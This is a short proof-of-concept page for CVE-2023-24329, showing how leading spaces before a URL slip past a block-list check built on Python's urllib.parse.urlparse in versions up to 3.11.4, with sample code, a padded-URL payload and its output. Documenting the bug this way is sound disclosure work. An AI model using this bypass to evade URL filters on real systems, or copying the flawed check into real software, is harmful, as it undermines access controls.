CVE-2023-24329 PoC — Python 输入验证错误漏洞

Source

Associated Vulnerability

Description

Example of CVE-2023-24329 

Readme

# Intro
The URL parsing functions focus on splitting a URL string into its components, or on combining URL components into a URL string.
  - [urllib.parse.urlparse](https://docs.python.org/3/library/urllib.parse.html#url-parsing)

**Simply** `urllib.parse` used for parsing urls, we can bypass it with adding blanks before the url. This happens in python `3.11.4` and before.

# PoC
Let's break down `example.py`

Here is a set of websites that you should not access:
```python
blocked_list = [
    "http://example.com/",
    "http://example2.com/"
]
```

This function checks if website is on blocked list or not, if it's on block list it should return `URL Blocked`

```python
def is_url_blocked(url):
    parse = urllib.parse.urlparse(url).geturl()
    if  parse in blocked_list: return 'URL Blocked'
    else: return 'Bypassed'

```

Now I added two urls and I check if any of them is blocked and cannot be accessed:
```python
payload1 = "    http://example.com/"
payload2 = "http://example.com/"

print(
    is_url_blocked(payload1),
    "\n",
    is_url_blocked(payload2)
)

```

`payload1` is where i bypassed  `is_url_blocked()` because adding long space before the url will bypass `urllib.parse.urlparse(url).geturl()` it would not execute as excpected.
That's why the output is 

```
Bypassed
```
But on `payload2` we get 
```
URL Blocked
```

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File Snapshot

 [4.0K]  /data/pocs/9240c23d5de0b850fe7c87bbdf9152543111e4a6
├── [ 468]  example.py
└── [1.7K]  README.md

0 directories, 2 files

Remarks